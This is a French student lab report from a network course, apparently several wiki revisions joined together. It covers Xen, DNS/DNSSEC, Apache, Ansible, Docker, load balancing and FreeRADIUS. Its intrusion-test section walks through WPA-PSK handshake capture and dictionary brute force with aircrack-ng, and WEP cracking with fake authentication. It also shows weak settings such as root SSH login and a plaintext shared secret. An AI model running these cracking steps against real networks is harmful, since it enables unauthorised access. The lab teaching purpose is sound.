Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Pour tester la partie docker indépendamment, sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====

Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:
---
- hosts: serveurs-internes
tasks:
- name: install rsync
apt:
state: latest
name: 'rsync'

- name: transfer files
copy:
src: DockerFiles
dest: /tmp/gr4/
register: copy_output
- debug: var=copy_output

- name: build Docker image from Dockerfile
docker_image:
tag: latest
name: image-for-chlamydiae
path: /tmp/gr4/DockerFiles
state: present

- name: Create the container
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: present

- name: check if container is running
shell: 'docker ps'
register: docker_ps
- debug: var=docker_ps.stdout_lines

- name: Last
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: started
recreate: yes
ports:
- "8004:80"

Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:
# - name: Try to stop container
# docker_container:
# name: container-chlamydiae
# state: stopped
# image: image-for-chlamydiae

# - name: Delete container
# docker_container:
# name: container-chlamydiae
# state: absent
# image: image-for-chlamydiae

# - name: Delete the image
# docker_image:
# name: image-for-chlamydiae
# tag: latest
# state: absent
# force: yes

Que l'on lance avec la commande:
ansible-playbook file_name.yml

La tâche "Last" qui effectue "docker ps" ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:
[[Fichier:result_crea_docker.png|900px|center]]

====Equilibreur de charge====
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:
a2enmod proxy_http
a2enmod proxy (au cas où mais ça s’active en même temps)
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Puis on redémarre Apache2:
service apache2 restart

On modifie notre fichier chlamydiae.conf de apache2:
<VirtualHost 193.48.57.180:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$
SSLCertificateKeyFile /etc/ssl/key/myserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$
SSLVerifyclient NONE
<Location "/balancer-manager">
SetHandler balancer-manager
</Location>
</VirtualHost>

<VirtualHost 193.48.57.180:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
ProxyPass "/" "balancer://ourbalancer/"
ProxyPassReverse "/" "balancer://ourbalancer"
</VirtualHost>

<Proxy "balancer://ourbalancer">
BalancerMember http://192.168.0.1:8004
BalancerMember http://192.168.0.2:8004
BalancerMember http://192.168.0.3:8004
BalancerMember http://192.168.0.4:8004
BalancerMember http://192.168.0.5:8004
BalancerMember http://192.168.0.6:8004
ProxySet lbmethod=byrequests
</Proxy>

On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.

On recharge apache2:
service apache2 reload

Le rapport d'état se trouve à l'URL:
https://www.chlamydiae.site/balancer-manager

On obtient:
[[Fichier:chlamydiae_balancer_result.png|700px|center]]

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

==Réalisations==
====<s>Sécurisation de données</s>====
====Cryptage de données====
Pour afficher la liste des périphériques connectés au PC:
fdisk -l

On la crypte et on crée la partition:
cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb1
cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted

On formate notre volume en ext4
mkfs -t ext4 /dev/mapper/virtual_vol_crypted

On le monte ensuite sur /mnt
mount -t ext4 /dev/mapper/virtual_vol_crypted /mnt/

On y crée un fichier /mnt/test_file puis on démonte /mnt:
umount /mnt

Puis on ferme la communication sur le volume crypté:
cryptsetup luksClose virtual_vol_crypted

A présent, on ne peut plus avoir accès au volume /dev/mapper/virtual_vol_crypted tant qu'on en s'est pas reconnecté avec cryptsetup; pour pouvoir y accéder, il suffit de faire:
cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted_bis
-> demande du mot de passe
mount -t ext4 /dev/mapper/virtual_vol_crypted_bis /mnt/

Et on retrouve notre fichier test_file.

Si on essaye simplement de monter une clé usb cryptée:
mount /dev/sdb1 mnt/tmp
mount: /mnt/tmp: unknow filesystem type ‘crypto_LUKS’

===Serveur Freeradius===
FreeRADIUS est un logiciel libre et gratuit, version libre du protocole RADIUS (Remote Authentication Dial-In User Service) service d'authentification réseau interfaçable avec plusieurs sources d'identité (LDAP/SQL entre autres).

C'est un service utilisé notamment par les FAI pour identifier leurs clients. Dans notre cas il va nous être utile pour identifier les utilisateurs sur le réseau quand ils veulent accéder a Internet au travers d'un proxy ou se connecter au réseau WiFi.
La configuration du serveur FreeRADIUS consiste à :

* Déclarer ses clients (adresses IP), les routeurs ou switchs, et d’y renseigner le mot de passe partagé ;
* Puis d’enregistrer les utilisateurs avec leur mot de passe.

Tout d'abord il faut installer freeradius:
apt-get install freeradius

Dans un deuxième temps on ajoute ces clients dans /etc/freeradius/3.0/clients.conf :
* on ajoute :

client 10.60.200.2/24 {
secret = secretIMA5SC
shortname = borneChlamydiae
}

client PA {
ipaddr = 10.60.201.5
secret = secretIMA5SC
}

* Enregistrer les utilisateurs

Il faut ajouter une ligne qui indique l'identifiant et le mot de passe. On a choisi les mêmes id que la VM : root et mot de passe habituel.
Dans /etc/freeradius/3.0/users

Chlamydiae Cleartext-Password := "<password>"

Enregistrer les modifications et relancer :
service freeradius stop
freeradius -X

Enfin cette comande permet d'afficher les logs:
tail -f /var/log/freeradius/radius.log

====Sécurisation WiFi par WPA2-EAP====

TP sysres IMA5sc 2019/2020 G4

2020-01-30T13:47:18Z

Zbriois : /* Serveur Freeradius */

==Introduction==
Lien du sujet: https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Chlamydiae on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "chlamydiae.site" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.chlamydiae.site.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.plil.fr:3128
export https_proxy=http://proxy.plil.fr:3128
xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 192.168.0.14 # réseau de communication entre les 2 machines virtuelles
address 192.168.0.4/24

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Pour tester la partie docker indépendamment, sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====

Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:
---
- hosts: serveurs-internes
tasks:
- name: install rsync
apt:
state: latest
name: 'rsync'

- name: transfer files
copy:
src: DockerFiles
dest: /tmp/gr4/
register: copy_output
- debug: var=copy_output

- name: build Docker image from Dockerfile
docker_image:
tag: latest
name: image-for-chlamydiae
path: /tmp/gr4/DockerFiles
state: present

- name: Create the container
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: present

- name: check if container is running
shell: 'docker ps'
register: docker_ps
- debug: var=docker_ps.stdout_lines

- name: Last
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: started
recreate: yes
ports:
- "8004:80"

Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:
# - name: Try to stop container
# docker_container:
# name: container-chlamydiae
# state: stopped
# image: image-for-chlamydiae

# - name: Delete container
# docker_container:
# name: container-chlamydiae
# state: absent
# image: image-for-chlamydiae

# - name: Delete the image
# docker_image:
# name: image-for-chlamydiae
# tag: latest
# state: absent
# force: yes

Que l'on lance avec la commande:
ansible-playbook file_name.yml

La tâche "Last" qui effectue "docker ps" ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:
[[Fichier:result_crea_docker.png|900px|center]]

====Equilibreur de charge====
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:
a2enmod proxy_http
a2enmod proxy (au cas où mais ça s’active en même temps)
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Puis on redémarre Apache2:
service apache2 restart

On modifie notre fichier chlamydiae.conf de apache2:
<VirtualHost 193.48.57.180:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$
SSLCertificateKeyFile /etc/ssl/key/myserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$
SSLVerifyclient NONE
<Location "/balancer-manager">
SetHandler balancer-manager
</Location>
</VirtualHost>

<VirtualHost 193.48.57.180:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
ProxyPass "/" "balancer://ourbalancer/"
ProxyPassReverse "/" "balancer://ourbalancer"
</VirtualHost>

<Proxy "balancer://ourbalancer">
BalancerMember http://192.168.0.1:8004
BalancerMember http://192.168.0.2:8004
BalancerMember http://192.168.0.3:8004
BalancerMember http://192.168.0.4:8004
BalancerMember http://192.168.0.5:8004
BalancerMember http://192.168.0.6:8004
ProxySet lbmethod=byrequests
</Proxy>

On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.

On recharge apache2:
service apache2 reload

Le rapport d'état se trouve à l'URL:
https://www.chlamydiae.site/balancer-manager

On obtient:
[[Fichier:chlamydiae_balancer_result.png|700px|center]]

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

==Réalisations==
====<s>Sécurisation de données</s>====
====Cryptage de données====
Pour afficher la liste des périphériques connectés au PC:
fdisk -l

On la crypte et on crée la partition:
cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb1
cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted

On formate notre volume en ext4
mkfs -t ext4 /dev/mapper/virtual_vol_crypted

On le monte ensuite sur /mnt
mount -t ext4 /dev/mapper/virtual_vol_crypted /mnt/

On y crée un fichier /mnt/test_file puis on démonte /mnt:
umount /mnt

Puis on ferme la communication sur le volume crypté:
cryptsetup luksClose virtual_vol_crypted

A présent, on ne peut plus avoir accès au volume /dev/mapper/virtual_vol_crypted tant qu'on en s'est pas reconnecté avec cryptsetup; pour pouvoir y accéder, il suffit de faire:
cryptsetup luksOpen /dev/sdb1 virtual_vol_crypted_bis
-> demande du mot de passe
mount -t ext4 /dev/mapper/virtual_vol_crypted_bis /mnt/

Et on retrouve notre fichier test_file.

Si on essaye simplement de monter une clé usb cryptée:
mount /dev/sdb1 mnt/tmp
mount: /mnt/tmp: unknow filesystem type ‘crypto_LUKS’

===Serveur Freeradius===
FreeRADIUS est un logiciel libre et gratuit, version libre du protocole RADIUS (Remote Authentication Dial-In User Service) service d'authentification réseau interfaçable avec plusieurs sources d'identité (LDAP/SQL entre autres).

C'est un service utilisé notamment par les FAI pour identifier leurs clients. Dans notre cas il va nous être utile pour identifier les utilisateurs sur le réseau quand ils veulent accéder a Internet au travers d'un proxy ou se connecter au réseau WiFi.
La configuration du serveur FreeRADIUS consiste à :

* Déclarer ses clients (adresses IP), les routeurs ou switchs, et d’y renseigner le mot de passe partagé ;
* Puis d’enregistrer les utilisateurs avec leur mot de passe.

Tout d'abord il faut installer freeradius:
apt-get install freeradius

Dans un deuxième temps on ajoute ces clients dans /etc/freeradius/3.0/clients.conf :
* on ajoute :

client 10.60.200.2/24 {
secret = secretIMA5SC
shortname = borneChlamydiae
}

client PA {
ipaddr = 10.60.201.5
secret = secretIMA5SC
}

* Enregistrer les utilisateurs

Il faut ajouter une ligne qui indique l'identifiant et le mot de passe. On a choisi les mêmes id que la VM : root et mot de passe habituel.
Dans /etc/freeradius/3.0/users

Chlamydiae Cleartext-Password := "<password>"

Enregistrer les modifications et relancer :
service freeradius stop
freeradius -X

Enfin cette comande permet d'afficher les logs:
tail -f /var/log/freeradius/radius.log

====Sécurisation WiFi par WPA2-EAP====

TP sysres IMA5sc 2019/2020 G4

2019-12-17T10:01:59Z

Zbriois : /* Réalisations */

==Introduction==
Lien du sujet: https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau.html

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

